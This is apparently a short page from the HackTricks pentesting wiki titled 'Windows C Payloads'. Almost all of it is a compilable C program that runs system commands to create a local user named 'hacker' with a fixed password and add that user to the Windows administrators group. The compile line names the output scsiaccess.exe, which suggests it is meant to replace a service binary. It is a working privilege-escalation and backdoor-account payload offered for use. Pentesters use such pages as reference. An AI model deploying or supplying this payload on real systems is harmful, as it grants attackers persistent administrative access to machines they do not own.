HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Windows C Payloads
Support HackTricks and get benefits!

Add user

1
#i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
2
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
3
int main ()
4
{
5
int i;
6
system("net user hacker Hacker123! /add");
7
system("net localgroup administrators hacker /add");
8
return 0;
9
}
Copied!
Support HackTricks and get benefits!
Copy link
Contents
Add user